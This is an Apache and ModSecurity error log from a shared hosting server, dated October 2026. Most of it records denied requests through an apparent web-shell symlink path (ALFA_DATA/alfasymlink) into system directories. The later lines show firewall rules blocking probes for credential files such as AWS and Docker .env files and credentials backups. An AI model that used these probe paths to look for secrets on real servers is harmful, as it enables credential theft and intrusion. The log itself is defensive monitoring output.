[Sat Oct 24 06:52:47.045223 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 185.191.171.6:48494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/usersize
[Sat Oct 24 06:52:50.243596 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.83.23.103:49737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:52:54.155624 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.220.148.166:42885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:02.180129 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.226.89.140:38273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:06.228063 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 184.73.239.35:18673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu1/firmware_node/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 06:53:14.143015 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.147.182.90:54723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:26.143082 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.84.60.17:28900] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:30.009585 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.13:32376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/order
[Sat Oct 24 06:53:30.286647 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.234.197.175:10765] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:42.146869 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.215.210.112:38962] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:42.650544 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 185.191.171.12:37142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/parameters/kpatch_debug
[Sat Oct 24 06:53:50.332831 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.207.69.106:32066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:53:56.720210 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.17:23358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/partial
[Sat Oct 24 06:54:02.007421 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 185.191.171.6:61088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:05.0/remove
[Sat Oct 24 06:54:02.240002 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 44.205.74.196:52048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Sat Oct 24 06:54:06.134494 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.221.156.96:6384] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:54:11.123939 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 185.191.171.17:40236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/firmware/acpi/tables/FACP
[Sat Oct 24 06:54:18.273345 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.230.69.161:39656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:54:26.164928 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.213.46.222:64348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:54:30.151410 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 52.200.58.199:13639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/subsystem/rescan
[Sat Oct 24 06:54:30.152005 2026] [security2:error] [pid 2603807:tid 2603807] [client 52.200.58.199:13639] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/subsystem/rescan"] [unique_id "atyOZo3tkuH7XT-LVCb8WgAAAAE"]
[Sat Oct 24 06:54:30.152042 2026] [security2:error] [pid 2603807:tid 2603807] [client 52.200.58.199:13639] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/subsystem/rescan"] [unique_id "atyOZo3tkuH7XT-LVCb8WgAAAAE"]
[Sat Oct 24 06:54:34.161453 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.210.58.238:52374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:54:38.165375 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 54.166.104.83:21868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/driver/uevent
[Sat Oct 24 06:54:38.895378 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 185.191.171.17:24186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/alloc_calls
[Sat Oct 24 06:54:46.142548 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.250.48:51592] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:54:50.173585 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 23.21.227.240:56260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:54:54.145229 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.225.243.131:17674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:55:02.132544 2026] [security2:error] [pid 2609012:tid 2609012] [client 18.232.12.157:10776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:05.0/virtio2/"] [unique_id "atyOhnUcfBNBYE9xHAJALQAAAAA"]
[Sat Oct 24 06:55:02.132589 2026] [security2:error] [pid 2609012:tid 2609012] [client 18.232.12.157:10776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:05.0/virtio2/"] [unique_id "atyOhnUcfBNBYE9xHAJALQAAAAA"]
[Sat Oct 24 06:55:04.735930 2026] [security2:error] [pid 2607243:tid 2607243] [client 185.191.171.18:47464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/c++/8/deque"] [unique_id "atyOiFGNStwISql-V9e9JwAAAAs"]
[Sat Oct 24 06:55:04.735986 2026] [security2:error] [pid 2607243:tid 2607243] [client 185.191.171.18:47464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/include/c++/8/deque"] [unique_id "atyOiFGNStwISql-V9e9JwAAAAs"]
[Sat Oct 24 06:55:06.164202 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 100.25.120.246:19165] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:55:11.590942 2026] [core:crit] [pid 2608731:tid 2608731] (13)Permission denied: [client 86.54.28.65:59356] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:55:22.282991 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.72.95.195:3191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:55:34.138469 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.54.157.23:30239] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:55:38.141447 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.194.226.74:31031] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/unbind
[Sat Oct 24 06:55:42.139858 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.194.233.48:30977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:55:58.145542 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.209.35.147:18268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:56:03.153860 2026] [core:crit] [pid 2607843:tid 2607843] (13)Permission denied: [client 45.79.175.132:63460] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:56:06.181426 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 50.16.72.185:30811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:56:10.119204 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.70.123.241:6075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:56:50.193024 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.213.240.226:62227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:56:52.996019 2026] [core:crit] [pid 2608810:tid 2608810] (13)Permission denied: [client 45.79.139.7:32400] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:56:53.071528 2026] [authz_core:error] [pid 2608731:tid 2608731] [client 45.79.139.7:40380] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 06:56:53.312193 2026] [authz_core:error] [pid 2603807:tid 2603807] [client 45.79.139.7:40394] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com:80
[Sat Oct 24 06:56:54.136967 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 23.23.104.107:50121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/alarmtimer/uevent
[Sat Oct 24 06:56:58.133623 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.28.133.214:26065] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:57:08.455867 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.201:45926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/hwcache_align
[Sat Oct 24 06:57:14.152926 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.213.36.21:56455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:57:22.135896 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 98.83.226.125:60425] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:57:26.154477 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 44.194.139.149:55871] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:05.0/resource0
[Sat Oct 24 06:57:38.056983 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 185.191.171.7:14036] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:57:44.348024 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.199:26972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu
[Sat Oct 24 06:57:44.348489 2026] [security2:error] [pid 2607243:tid 2607243] [client 85.208.96.199:26972] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu"] [unique_id "atyPKFGNStwISql-V9e9LgAAAAs"]
[Sat Oct 24 06:57:44.348524 2026] [security2:error] [pid 2607243:tid 2607243] [client 85.208.96.199:26972] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu"] [unique_id "atyPKFGNStwISql-V9e9LgAAAAs"]
[Sat Oct 24 06:57:46.140790 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 52.3.104.214:52890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/module/uevent
[Sat Oct 24 06:58:06.154890 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.235.172.108:2314] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:58:10.225188 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.223.232.55:61449] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:58:14.153567 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.231.118.144:49499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:58:18.121675 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 34.205.170.13:44771] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.3/driver/bind
[Sat Oct 24 06:58:30.134336 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.29.155.89:51337] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:58:30.238868 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 85.208.96.202:35476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/objs_per_slab
[Sat Oct 24 06:58:31.864025 2026] [core:crit] [pid 2607243:tid 2607243] (13)Permission denied: [client 45.79.159.138:16468] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:58:34.148474 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 98.82.214.73:32718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:58:38.125915 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.193.102.198:46744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:58:50.278855 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 107.20.181.148:33303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:59:10.144438 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.44.148.203:35834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:59:14.166167 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 54.235.172.96:44048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/firmware_node/device:05/subsystem/drivers/button/LNXPWRBN:00/driver/uevent
[Sat Oct 24 06:59:26.181279 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.204.89.56:3865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:59:33.167110 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "atyPlfPD_keneTOG9SbiSAAAAAg"]
[Sat Oct 24 06:59:33.167275 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "atyPlfPD_keneTOG9SbiSAAAAAg"]
[Sat Oct 24 06:59:33.167500 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "atyPlfPD_keneTOG9SbiSAAAAAg"]
[Sat Oct 24 06:59:33.169836 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "atyPlUZmsT_-xVq3Bbq47wAAAAU"]
[Sat Oct 24 06:59:33.169975 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "atyPlUZmsT_-xVq3Bbq47wAAAAU"]
[Sat Oct 24 06:59:33.170190 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "atyPlUZmsT_-xVq3Bbq47wAAAAU"]
[Sat Oct 24 06:59:33.170401 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "atyPlaVWPMRLkHgZYZD6kgAAABU"]
[Sat Oct 24 06:59:33.170607 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "atyPlaVWPMRLkHgZYZD6kgAAABU"]
[Sat Oct 24 06:59:33.170830 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.62.25.61:55354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "atyPlaVWPMRLkHgZYZD6kgAAABU"]
[Sat Oct 24 06:59:33.243439 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "atyPlfPD_keneTOG9SbiSQAAAAg"]
[Sat Oct 24 06:59:33.243589 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "atyPlfPD_keneTOG9SbiSQAAAAg"]
[Sat Oct 24 06:59:33.243857 2026] [security2:error] [pid 2608731:tid 2608731] [client 34.62.25.61:55348] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "atyPlfPD_keneTOG9SbiSQAAAAg"]
[Sat Oct 24 06:59:33.249142 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "atyPlUZmsT_-xVq3Bbq48AAAAAU"]
[Sat Oct 24 06:59:33.249269 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "atyPlUZmsT_-xVq3Bbq48AAAAAU"]
[Sat Oct 24 06:59:33.249468 2026] [security2:error] [pid 2607845:tid 2607845] [client 34.62.25.61:55366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env-sample"] [unique_id "atyPlUZmsT_-xVq3Bbq48AAAAAU"]
